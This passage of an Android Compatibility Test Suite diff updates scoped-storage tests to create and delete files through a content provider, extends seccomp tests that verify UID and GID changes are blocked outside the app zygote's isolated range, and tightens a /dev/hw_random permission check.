             assertThat(MediaStore.scanFile(getContentResolver(), pdfFile)).isNotNull();
 
@@ -774,14 +776,14 @@
             assertThat(listAs(TEST_APP_A, getDcimDir().getPath()))
                     .doesNotContain(NONMEDIA_FILE_NAME);
 
-            executeShellCommand("touch " + videoFile.getAbsolutePath());
+            createFileUsingTradefedContentProvider(videoFile);
             // We don't insert files to db for files created by shell.
             assertThat(MediaStore.scanFile(getContentResolver(), videoFile)).isNotNull();
             // TEST_APP_A with storage permission should see video file in Music directory.
             assertThat(listAs(TEST_APP_A, getMusicDir().getPath())).contains(VIDEO_FILE_NAME);
         } finally {
-            executeShellCommand("rm " + pdfFile.getAbsolutePath());
-            executeShellCommand("rm " + videoFile.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(pdfFile);
+            deleteFileUsingTradefedContentProvider(videoFile);
             MediaStore.scanFile(getContentResolver(), pdfFile);
             MediaStore.scanFile(getContentResolver(), videoFile);
             uninstallAppNoThrow(TEST_APP_A);
@@ -2094,15 +2096,15 @@
             assertAccess(doesntExistPdf, false, false, false);
 
             // We can check only exists for another app's files on root.
-            // Use shell to create root file because TEST_APP_A is in
+            // Use content provider to create root file because TEST_APP_A is in
             // scoped storage.
-            executeShellCommand("touch " + shellPdfAtRoot.getAbsolutePath());
+            createFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             assertFileAccess_existsOnly(shellPdfAtRoot);
         } finally {
             deleteFileAsNoThrow(TEST_APP_A, otherAppPdf.getAbsolutePath());
             deleteFileAsNoThrow(TEST_APP_A, otherAppImage.getAbsolutePath());
-            executeShellCommand("rm " + shellPdfAtRoot.getAbsolutePath());
+            deleteFileUsingTradefedContentProvider(shellPdfAtRoot);
             MediaStore.scanFile(getContentResolver(), shellPdfAtRoot);
             myAppPdf.delete();
             uninstallApp(TEST_APP_A);
@@ -2150,13 +2152,13 @@
             assertDirectoryAccess(new File(getExternalStorageDir(), "Android"), true, false);
             assertDirectoryAccess(new File(getExternalStorageDir(), "doesnt/exist"), false, false);
 
-            executeShellCommand("mkdir " + topLevelDir.getAbsolutePath());
+            createDirUsingTradefedContentProvider(topLevelDir);
             assertDirectoryAccess(topLevelDir, true, false);
 
             assertCannotReadOrWrite(new File("/storage/emulated"));
         } finally {
             uninstallApp(TEST_APP_A); // Uninstalling deletes external app dirs
-            executeShellCommand("rmdir " + topLevelDir.getAbsolutePath());
+            deleteDirUsingTradefedContentProvider(topLevelDir);
         }
     }
 
@@ -2184,18 +2186,18 @@
             assertFileContent(otherAppPdf, BYTES_DATA1);
 
             // Assert we can rename the file and ensure the file has the same content
-            assertCanRenameFile(otherAppPdf, pdf);
+            assertCanRenameFile(otherAppPdf, pdf, /* checkDatabase */ false);
             assertFileContent(pdf, BYTES_DATA1);
             // We can even move it to the top level directory
-            assertCanRenameFile(pdf, topLevelPdf);
+            assertCanRenameFile(pdf, topLevelPdf, /* checkDatabase */ false);
             assertFileContent(topLevelPdf, BYTES_DATA1);
             // And even rename to a place where PDFs don't belong, because we're an omnipotent
             // external storage manager
-            assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace);
+            assertCanRenameFile(topLevelPdf, pdfInObviouslyWrongPlace, /* checkDatabase */ false);
             assertFileContent(pdfInObviouslyWrongPlace, BYTES_DATA1);
 
             // And we can even convert it into a music file, because why not?
-            assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile);
+            assertCanRenameFile(pdfInObviouslyWrongPlace, musicFile, /* checkDatabase */ false);
             assertFileContent(musicFile, BYTES_DATA1);
         } finally {
             pdf.delete();
@@ -2212,13 +2214,11 @@
         final File podcastsDir = getPodcastsDir();
         try {
             if (podcastsDir.exists()) {
-                // Apps can't delete top level directories, not even default directories, so we let
-                // shell do the deed for us.
-                executeShellCommand("rm -r " + podcastsDir);
+                deleteDirUsingTradefedContentProvider(podcastsDir);
             }
             assertThat(podcastsDir.mkdir()).isTrue();
         } finally {
-            executeShellCommand("mkdir " + podcastsDir);
+            createDirUsingTradefedContentProvider(podcastsDir);
         }
     }
 
@@ -2234,7 +2234,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
 
             // We can list other apps' files
@@ -2247,7 +2247,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             MediaStore.scanFile(getContentResolver(), otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
@@ -2490,6 +2490,8 @@
     @Test
     public void testWallpaperApisNoPermission() throws Exception {
         WallpaperManager wallpaperManager = WallpaperManager.getInstance(getContext());
+        assumeTrue("Test skipped as wallpaper is not supported.",
+                wallpaperManager.isWallpaperSupported());
         assertThrows(SecurityException.class, () -> wallpaperManager.getFastDrawable());
         assertThrows(SecurityException.class, () -> wallpaperManager.peekFastDrawable());
         assertThrows(SecurityException.class,
@@ -2696,7 +2698,7 @@
         try {
             installApp(TEST_APP_A);
             assertCreateFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
-            executeShellCommand("touch " + otherTopLevelFile);
+            createFileUsingTradefedContentProvider(otherTopLevelFile);
 
             // We can list other apps' files
             assertDirectoryContains(otherAppPdf.getParentFile(), otherAppPdf);
@@ -2708,7 +2710,7 @@
             // We can also list all top level directories
             assertDirectoryContains(getExternalStorageDir(), getDefaultTopLevelDirs());
         } finally {
-            executeShellCommand("rm " + otherTopLevelFile);
+            deleteFileUsingTradefedContentProvider(otherTopLevelFile);
             deleteFilesAs(TEST_APP_A, otherAppImg, otherAppMusic, otherAppPdf);
             uninstallApp(TEST_APP_A);
         }
@@ -2738,6 +2740,8 @@
 
     @Test
     public void testRenameFromShell() throws Exception {
+        // This test is for shell and shell always runs as USER_SYSTEM
+        assumeTrue("Test is applicable only for System User.", getCurrentUser() == USER_SYSTEM);
         final File imageFile = new File(getPicturesDir(), IMAGE_FILE_NAME);
         final File dir = new File(getMoviesDir(), TEST_DIRECTORY_NAME);
         final File renamedDir = new File(getMusicDir(), TEST_DIRECTORY_NAME);
@@ -3044,12 +3048,28 @@
         assertThat(readPfd.getStatSize()).isEqualTo(writePfd.getStatSize());
     }
 
+    private void assertStartsWith(String actual, String prefix, boolean expected) throws Exception {
+        String message = "String \"" + actual + "\" should start with \"" + prefix + "\"";
+
+        if (expected) {
+            assertTrue(message, actual.startsWith(prefix));
+        } else {
+            assertFalse(message, actual.startsWith(prefix));
+        }
+    }
+
     private void assertLowerFsFd(ParcelFileDescriptor pfd) throws Exception {
-        assertThat(Os.readlink("/proc/self/fd/" + pfd.getFd()).startsWith("/storage")).isTrue();
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/storage";
+
+        assertStartsWith(path, prefix, true);
     }
 
     private void assertUpperFsFd(ParcelFileDescriptor pfd) throws Exception {
-        assertThat(Os.readlink("/proc/self/fd/" + pfd.getFd()).startsWith("/mnt/user")).isTrue();
+        String path = Os.readlink("/proc/self/fd/" + pfd.getFd());
+        String prefix = "/mnt/user";
+
+        assertStartsWith(path, prefix, true);
     }
 
     private static void assertCanCreateFile(File file) throws IOException {
@@ -3144,4 +3164,38 @@
             assertThrows(ErrnoException.class, () -> { Os.access(file.getAbsolutePath(), mask); });
         }
     }
+
+    private void createFileUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Filse/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating file " + file);
+        getContentResolver().openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), "w", null);
+    }
+
+    private void createDirUsingTradefedContentProvider(File file) throws Exception {
+        // Files/Dirs are created using content provider. Owner of the Files/Dirs is
+        // android.tradefed.contentprovider.
+        Log.d(TAG, "Creating Dir " + file);
+        // Create a tmp file in the target directory, this would also create the required
+        // directory, then delete the tmp file. It would leave only new directory.
+        getContentResolver()
+            .openFile(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), "w", null);
+        getContentResolver()
+            .delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath() + "/tmp.txt"), null, null);
+    }
+
+    private void deleteFileUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting file " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private void deleteDirUsingTradefedContentProvider(File file) throws Exception {
+        Log.d(TAG, "Deleting Dir " + file);
+        getContentResolver().delete(Uri.parse(CONTENT_PROVIDER_URL + file.getPath()), null, null);
+    }
+
+    private int getCurrentUser() throws Exception {
+        String userId = executeShellCommand("am get-current-user");
+        return Integer.parseInt(userId.trim());
+    }
 }
diff --git a/hostsidetests/seccomp/Android.bp b/hostsidetests/seccomp/Android.bp
index 5280d2a..d1f8121 100644
--- a/hostsidetests/seccomp/Android.bp
+++ b/hostsidetests/seccomp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSeccompHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/seccomp/app/Android.bp b/hostsidetests/seccomp/app/Android.bp
index 55fb375..d77756f 100644
--- a/hostsidetests/seccomp/app/Android.bp
+++ b/hostsidetests/seccomp/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSeccompDeviceApp",
     compile_multilib: "both",
diff --git a/hostsidetests/seccomp/app/jni/Android.bp b/hostsidetests/seccomp/app/jni/Android.bp
index b528c53..6e7b361 100644
--- a/hostsidetests/seccomp/app/jni/Android.bp
+++ b/hostsidetests/seccomp/app/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsseccomp_jni",
     gtest: false,
diff --git a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
index 99080a1..7a40949 100644
--- a/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
+++ b/hostsidetests/seccomp/app/jni/android_seccomp_cts_app_SeccompDeviceTest.cpp
@@ -29,8 +29,6 @@
 #define ALOGI(...) ALOG(LOG_INFO, LOG_TAG, __VA_ARGS__)
 #define ALOGE(...) ALOG(LOG_ERROR, LOG_TAG, __VA_ARGS__)
 
-#define PER_USER_RANGE  100000
-
 /*
  * Function: testSyscallBlocked
  * Purpose: test that the syscall listed is blocked by seccomp
@@ -79,21 +77,17 @@
 }
 
 static jboolean testSetresuidBlocked(JNIEnv *, jobject, jint ruid, jint euid, jint suid) {
-    jint userId = getuid() / PER_USER_RANGE;
-    jint userRuid = userId * PER_USER_RANGE + ruid;
-    jint userEuid = userId * PER_USER_RANGE + euid;
-    jint userSuid = userId * PER_USER_RANGE + suid;
-
-    return doTestSyscallBlocked([&] {ALOGE("Calling setresuid\n"); setresuid(userRuid, userEuid, userSuid);});
+  return doTestSyscallBlocked([&] {
+    ALOGE("Calling setresuid\n");
+    setresuid(ruid, euid, suid);
+  });
 }
 
 static jboolean testSetresgidBlocked(JNIEnv *, jobject, jint rgid, jint egid, jint sgid) {
-    jint userId = getuid() / PER_USER_RANGE;
-    jint userRgid = userId * PER_USER_RANGE + rgid;
-    jint userEgid = userId * PER_USER_RANGE + egid;
-    jint userSgid = userId * PER_USER_RANGE + sgid;
-
-    return doTestSyscallBlocked([&] {ALOGE("Calling setresgid\n"); setresgid(userRgid, userEgid, userSgid);});
+  return doTestSyscallBlocked([&] {
+    ALOGE("Calling setresgid\n");
+    setresgid(rgid, egid, sgid);
+  });
 }
 
 static JNINativeMethod gMethods[] = {
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/IsolatedService.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/IsolatedService.java
index 2546c57..7825545 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/IsolatedService.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/IsolatedService.java
@@ -21,6 +21,7 @@
 import android.os.IBinder;
 import android.os.Message;
 import android.os.Messenger;
+import android.os.Process;
 import android.os.RemoteException;
 import android.util.Log;
 
@@ -43,6 +44,18 @@
             switch (msg.what) {
                 case (MSG_GET_SECCOMP_RESULT):
                     int result = ZygotePreload.getSeccomptestResult() ? 1 : 0;
+                    if (result != 0) {
+                        // Verify that my UID falls within the verified isolated range
+                        int rangeBegin = ZygotePreload.getStartOfIsolatedRange();
+                        int rangeEnd = ZygotePreload.getStartOfIsolatedRange()
+                            + Process.NUM_UIDS_PER_APP_ZYGOTE - 1;
+                        if (Process.myUid() < rangeBegin || Process.myUid() > rangeEnd) {
+                            Log.e(TAG, "Isolated UID " + Process.myUid()
+                                    + " doesn't match allowed isolated range of app zygote: ["
+                                    + rangeBegin + "," + rangeEnd + "]");
+                            result = 0;
+                        }
+                    }
                     try {
                         msg.replyTo.send(Message.obtain(null, MSG_SECCOMP_RESULT, result, 0));
                     } catch (RemoteException e) {
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 20cf791..9f56aa09 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -122,6 +122,7 @@
                 case IsolatedService.MSG_SECCOMP_RESULT:
                     mAppZygoteResult = (msg.arg1 == 1);
                     mResultCondition.open();
+                    break;
                 default:
                     super.handleMessage(msg);
             }
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/ZygotePreload.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/ZygotePreload.java
index e7f5b25..021b56b 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/ZygotePreload.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/ZygotePreload.java
@@ -18,51 +18,60 @@
 
 import android.content.pm.ApplicationInfo;
 import android.os.Process;
+import android.os.UserHandle;
 import android.util.Log;
 
 public class ZygotePreload implements android.app.ZygotePreload {
     static final String TAG = "SeccompDeviceTest";
 
     static volatile boolean sResult = false;
+    static volatile int sStartOfIsolatedRange = -1;
 
-    static private boolean testSetResUidGidBlocked(int rid, int eid, int sid) {
-        if (!SeccompDeviceTest.testSetresuidBlocked(rid, eid, sid)) {
-            Log.e(TAG, "setresuid( " + Integer.toString(rid) + ","
-                    + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
-                    + " is wrongly allowed.");
+    static private boolean testSetResUidGidBlocked(int rid, int eid, int sid,
+            boolean expectBlocked, boolean log) {
+        boolean blocked = SeccompDeviceTest.testSetresuidBlocked(rid, eid, sid);
+        if (blocked != expectBlocked) {
+            if (log) {
+                Log.e(TAG, "setresuid( " + Integer.toString(rid) + ","
+                        + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
+                        + " is wrongly " + (expectBlocked ? "allowed." : "blocked."));
+            }
             return false;
         }
-        if (!SeccompDeviceTest.testSetresgidBlocked(rid, eid, sid)) {
-            Log.e(TAG, "setresguid( " + Integer.toString(rid) + ","
-                    + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
-                    + " is wrongly allowed.");
+
+        blocked = SeccompDeviceTest.testSetresgidBlocked(rid, eid, sid);
+        if (blocked != expectBlocked) {
+            if (log) {
+                Log.e(TAG, "setresguid( " + Integer.toString(rid) + ","
+                        + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
+                        + " is wrongly " + (expectBlocked ? "allowed." : "blocked."));
+            }
             return false;
         }
 
         return true;
     }
 
-    static private boolean testSetResUidGidAllowed(int rid, int eid, int sid) {
-        if (SeccompDeviceTest.testSetresuidBlocked(rid, eid, sid)) {
-            Log.e(TAG, "setresuid( " + Integer.toString(rid) + ","
-                    + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
-                    + " is wrongly blocked.");
-            return false;
-        }
-        if (SeccompDeviceTest.testSetresgidBlocked(rid, eid, sid)) {
-            Log.e(TAG, "setresguid( " + Integer.toString(rid) + ","
-                    + Integer.toString(eid) + "," + Integer.toString(sid) + ")"
-                    + " is wrongly blocked.");
-            return false;
-        }
+    static private boolean testSetResUidGidBlocked(int rid, int eid, int sid) {
+        return testSetResUidGidBlocked(rid, eid, sid, true /*expectBlocked */, true /* log */);
+    }
 
-        return true;
+    static private boolean testSetResUidGidAllowed(int rid, int eid, int sid) {
+        return testSetResUidGidBlocked(rid, eid, sid, false /*expectBlocked */, true /* log */);
+    }
+
+    static private boolean testSetResUidGidAllowedNoLog(int rid, int eid, int sid) {
+        return testSetResUidGidBlocked(rid, eid, sid, false /*expectBlocked */, false /* log */);
     }
 
     static synchronized public boolean getSeccomptestResult() {
         return sResult;
     }
 
+    static synchronized public int getStartOfIsolatedRange() {
+        return sStartOfIsolatedRange;
+    }
+
     /*
      * This is called from the app_zygote security context, which has two seccomp
      * filters in place:
@@ -85,42 +94,65 @@
         result &= testSetResUidGidBlocked(0, Process.SYSTEM_UID,
                 Process.SYSTEM_UID);
 
-        // an app uid
-        result &= testSetResUidGidBlocked(Process.FIRST_APPLICATION_UID,
-                Process.FIRST_APPLICATION_UID, Process.FIRST_APPLICATION_UID);
-        result &= testSetResUidGidBlocked(Process.LAST_APPLICATION_UID,
-                Process.LAST_APPLICATION_UID, Process.LAST_APPLICATION_UID);
+        // an app uid for the current user, and another user
+        for (int userId = UserHandle.myUserId(); userId <= UserHandle.myUserId() + 1; userId++) {
+            int appStart = UserHandle.getUid(userId, Process.FIRST_APPLICATION_UID);
+            result &= testSetResUidGidBlocked(appStart, appStart, appStart);
+            int appEnd = UserHandle.getUid(userId, Process.LAST_APPLICATION_UID);
+            result &= testSetResUidGidBlocked(appEnd, appEnd, appEnd);
+        }
 
-        // an isolated process uid
-        result &= testSetResUidGidBlocked(Process.FIRST_ISOLATED_UID,
-                Process.FIRST_ISOLATED_UID, Process.FIRST_ISOLATED_UID);
-        result &= testSetResUidGidBlocked(Process.LAST_ISOLATED_UID, Process.LAST_ISOLATED_UID,
-                Process.LAST_ISOLATED_UID);
+        // an isolated process uid for the current user, and another user
+        for (int userId = UserHandle.myUserId(); userId <= UserHandle.myUserId() + 1; userId++) {
+            int regularIsolatedStart = UserHandle.getUid(userId, Process.FIRST_ISOLATED_UID);
+            result &= testSetResUidGidBlocked(regularIsolatedStart, regularIsolatedStart,
+                    regularIsolatedStart);
+            int regularIsolatedEnd = UserHandle.getUid(userId, Process.LAST_ISOLATED_UID);
+            result &= testSetResUidGidBlocked(regularIsolatedEnd, regularIsolatedEnd,
+                    regularIsolatedEnd);
+        }
 
-        // an allowed app zygote UID
-        // TODO this test assumes no other isolated app zygotes are currently running!
-        result &= testSetResUidGidAllowed(Process.FIRST_APP_ZYGOTE_ISOLATED_UID,
-                Process.FIRST_APP_ZYGOTE_ISOLATED_UID, Process.FIRST_APP_ZYGOTE_ISOLATED_UID);
-
-        // off-by-one
-        result &= testSetResUidGidBlocked(Process.FIRST_APP_ZYGOTE_ISOLATED_UID - 1,
-                Process.FIRST_APP_ZYGOTE_ISOLATED_UID - 1,
-                Process.FIRST_APP_ZYGOTE_ISOLATED_UID - 1);
-
-        // mixed allowed rgid with dis-allowed euid and suid (and variants)
-        result &= testSetResUidGidBlocked(Process.FIRST_APP_ZYGOTE_ISOLATED_UID, 0, 0);
-        result &= testSetResUidGidBlocked(Process.FIRST_APP_ZYGOTE_ISOLATED_UID,
-                Process.FIRST_APP_ZYGOTE_ISOLATED_UID, 0);
-        result &= testSetResUidGidBlocked(0, Process.FIRST_APP_ZYGOTE_ISOLATED_UID, 0);
-        result &= testSetResUidGidBlocked(0, Process.FIRST_APP_ZYGOTE_ISOLATED_UID,
+        // Test all ranges of app zygote UIDs; we don't know here which
+        // isolated UID is assigned to our process, so we will test all ranges,
+        // and verify only one is allowed; then have the caller verify that
+        // this was indeed our allowed range.
+        int isolatedUserStart = UserHandle.getUid(UserHandle.myUserId(),
                 Process.FIRST_APP_ZYGOTE_ISOLATED_UID);
-        result &= testSetResUidGidBlocked(0, 0, Process.FIRST_APP_ZYGOTE_ISOLATED_UID);
-        result &= testSetResUidGidBlocked(Process.FIRST_APP_ZYGOTE_ISOLATED_UID, 0,
-                Process.FIRST_APP_ZYGOTE_ISOLATED_UID);
+        int isolatedUserEnd = UserHandle.getUid(UserHandle.myUserId(),
+                Process.LAST_APP_ZYGOTE_ISOLATED_UID);
 
-        // a disallowed app zygote UID
-        result &= testSetResUidGidBlocked(Process.LAST_APP_ZYGOTE_ISOLATED_UID,
-                Process.LAST_APP_ZYGOTE_ISOLATED_UID, Process.LAST_APP_ZYGOTE_ISOLATED_UID);
+        for (int i = isolatedUserStart; i < isolatedUserEnd; i += Process.NUM_UIDS_PER_APP_ZYGOTE) {
+            boolean rangeAllowed = testSetResUidGidAllowedNoLog(i, i, i);
+            if (rangeAllowed) {
+                if (sStartOfIsolatedRange != -1) {
+                    Log.e(TAG, "Found more than one allowed isolated UID range: "
+                            + sStartOfIsolatedRange + ", " + i);
+                    result = false;
+                    break;
+                }
+                sStartOfIsolatedRange = i;
+
+                // off-by-one and some variants
+                result &= testSetResUidGidBlocked(i - 1, i - 1, i - 1);
+                result &= testSetResUidGidBlocked(i, i - 1, i);
+                result &= testSetResUidGidBlocked(i, i, i - 1);
+                int overEndOfRange = i + Process.NUM_UIDS_PER_APP_ZYGOTE;
+                result &= testSetResUidGidBlocked(overEndOfRange, overEndOfRange, overEndOfRange);
+                result &= testSetResUidGidBlocked(overEndOfRange, i, i);
+                result &= testSetResUidGidBlocked(i, overEndOfRange, overEndOfRange);
+
+                // mixed allowed rgid with dis-allowed euid and suid (and variants)
+                result &= testSetResUidGidBlocked(i, 0, 0);
+                result &= testSetResUidGidBlocked(i, 0, i);
+                result &= testSetResUidGidBlocked(i, i, 0);
+                result &= testSetResUidGidBlocked(0, i, 0);
+                result &= testSetResUidGidBlocked(0, i, i);
+                result &= testSetResUidGidBlocked(0, 0, i);
+            }
+        }
+
+        result &= testSetResUidGidBlocked(Process.LAST_APP_ZYGOTE_ISOLATED_UID + 1,
+                Process.LAST_APP_ZYGOTE_ISOLATED_UID + 1, Process.LAST_APP_ZYGOTE_ISOLATED_UID + 1);
 
         // Store result
         sResult = result;
diff --git a/hostsidetests/security/Android.mk b/hostsidetests/security/Android.mk
index 0a6373a..7d603bd 100644
--- a/hostsidetests/security/Android.mk
+++ b/hostsidetests/security/Android.mk
@@ -25,6 +25,8 @@
 
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsSecurityHostTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 
 LOCAL_MODULE_CLASS := JAVA_LIBRARIES
 
diff --git a/hostsidetests/security/src/android/security/cts/FileSystemPermissionTest.java b/hostsidetests/security/src/android/security/cts/FileSystemPermissionTest.java
index b050b75..1372e2f 100644
--- a/hostsidetests/security/src/android/security/cts/FileSystemPermissionTest.java
+++ b/hostsidetests/security/src/android/security/cts/FileSystemPermissionTest.java
@@ -1,28 +1,12 @@
 package android.security.cts;
 
-import static android.security.cts.SELinuxHostTest.copyResourceToTempFile;
-import static android.security.cts.SELinuxHostTest.getDevicePolicyFile;
-import static android.security.cts.SELinuxHostTest.isMac;
-
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.testtype.DeviceTestCase;
 
-import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.InputStream;
-import java.io.IOException;
-import java.nio.file.Files;
-import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutionException;
-import java.util.concurrent.Executors;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Future;
 
 public class FileSystemPermissionTest extends DeviceTestCase {
 
@@ -72,180 +56,34 @@
     private static String HW_RNG_DEVICE = "/dev/hw_random";
 
     public void testDevHwRandomPermissions() throws Exception {
-        // This test asserts that, if present, /dev/hw_random must:
-        // 1. Be owned by UID root
-        // 2. Not allow any world read, write, or execute permissions. The reason
-        //    for being not readable by all/other is to avoid apps reading from this device.
-        //    Firstly, /dev/hw_random is not public API for apps. Secondly, apps might erroneously
-        //    use the output of Hardware RNG as trusted random output. Android does not trust output
-        //    of /dev/hw_random. HW RNG output is only used for mixing into Linux RNG as untrusted
-        //    input.
-        // 3. Be a character device with major:minor 10:183 -- hwrng kernel driver is using MAJOR 10
-        //    and MINOR 183
-        // 4. Be openable and readable by system_server according to SELinux policy
-
         if (!mDevice.doesFileExist(HW_RNG_DEVICE)) {
             // Hardware RNG device is missing. This is OK because it is not required to be exposed
             // on all devices.
             return;
         }
 
+        // This test asserts that, if present, /dev/hw_random must:
+        //
+        // 1. Have ownership root:root
+        // 2. Have permissions 0600 (the kernel default). Only the kernel hwrng
+        //    thread needs access to the HW RNG output. Neither apps nor system
+        //    code should use it directly.
+        // 3. Be a character device with major:minor 10:183 (the kernel
+        //    default).
+
+        // That translates to `ls -l` output like this:
+        // crw------- 1 root root 10, 183 2021-02-11 17:55 /dev/hw_random
+
         String command = "ls -l " + HW_RNG_DEVICE;
         String output = mDevice.executeShellCommand(command).trim();
         if (!output.endsWith(" " + HW_RNG_DEVICE)) {
             fail("Unexpected output from " + command + ": \"" + output + "\"");
         }
         String[] outputWords = output.split("\\s");
-        assertEquals("Wrong device type on " + HW_RNG_DEVICE, "c", outputWords[0].substring(0, 1));
-        assertEquals("Wrong world file mode on " + HW_RNG_DEVICE, "---", outputWords[0].substring(7));
+        assertEquals("Wrong mode on " + HW_RNG_DEVICE, "crw-------", outputWords[0]);
         assertEquals("Wrong owner of " + HW_RNG_DEVICE, "root", outputWords[2]);
+        assertEquals("Wrong group of " + HW_RNG_DEVICE, "root", outputWords[3]);
         assertEquals("Wrong device major on " + HW_RNG_DEVICE, "10,", outputWords[4]);
         assertEquals("Wrong device minor on " + HW_RNG_DEVICE, "183", outputWords[5]);
-
-        command = "ls -Z " + HW_RNG_DEVICE;
-        output = mDevice.executeShellCommand(command).trim();
-        assertEquals(
-                "Wrong SELinux label on " + HW_RNG_DEVICE,
-                "u:object_r:hw_random_device:s0 " + HW_RNG_DEVICE,
-                output);
-
-        File sepolicy = getDevicePolicyFile(mDevice);
-        output =
-                new String(
-                        execSearchPolicy(
-                                "--allow",
-                                "-s", "system_server",
-                                "-t", "hw_random_device",
-                                "-c", "chr_file",
-                                "-p", "open",
-                                sepolicy.getPath()));
-        if (output.trim().isEmpty()) {
-            fail("SELinux policy does not permit system_server to open " + HW_RNG_DEVICE);
-        }
-        output =
-                new String(
-                        execSearchPolicy(
-                                "--allow",
-                                "-s", "system_server",
-                                "-t", "hw_random_device",
-                                "-c", "chr_file",
-                                "-p", "read",
-                                sepolicy.getPath()));
-        if (output.trim().isEmpty()) {
-            fail("SELinux policy does not permit system_server to read " + HW_RNG_DEVICE);
-        }
-    }
-
-    /**
-     * Executes {@code searchpolicy} executable with the provided parameters and returns the
-     * contents of standard output.
-     *
-     * @throws IOException if execution of searchpolicy fails, returns non-zero error code, or
-     *         non-empty stderr
-     */
-    private static byte[] execSearchPolicy(String... args)
-            throws InterruptedException, IOException {
-        File tmpDir = Files.createTempDirectory("searchpolicy").toFile();
-        try {
-            String[] envp;
-            File libsepolwrap;
-            if (isMac()) {
-                libsepolwrap = copyResourceToTempFile("/libsepolwrap.dylib");
-                libsepolwrap =
-                        Files.move(
-                                libsepolwrap.toPath(),
-                                new File(tmpDir, "libsepolwrap.dylib").toPath()).toFile();
-                File libcpp = copyResourceToTempFile("/libc++.dylib");
-                Files.move(libcpp.toPath(), new File(tmpDir, "libc++.dylib").toPath());
-                envp = new String[] {"DYLD_LIBRARY_PATH=" + tmpDir.getAbsolutePath()};
-            } else {
-                libsepolwrap = copyResourceToTempFile("/libsepolwrap.so");
-                libsepolwrap =
-                        Files.move(
-                                libsepolwrap.toPath(),
-                                new File(tmpDir, "libsepolwrap.so").toPath()).toFile();
-                File libcpp = copyResourceToTempFile("/libc++.so");
-                Files.move(libcpp.toPath(), new File(tmpDir, "libc++.so").toPath());
-                envp = new String[] {"LD_LIBRARY_PATH=" + tmpDir.getAbsolutePath()};
-            }
-            File searchpolicy = copyResourceToTempFile("/searchpolicy");
-            searchpolicy =
-                    Files.move(
-                        searchpolicy.toPath(),
-                        new File(tmpDir, "searchpolicy").toPath()).toFile();
-            searchpolicy.setExecutable(true);
-            libsepolwrap.setExecutable(true);
-            List<String> cmd = new ArrayList<>(3 + args.length);
-            cmd.add(searchpolicy.getPath());
-            cmd.add("--libpath");
-            cmd.add(libsepolwrap.getPath());
-            for (String arg : args) {
-                cmd.add(arg);
-            }
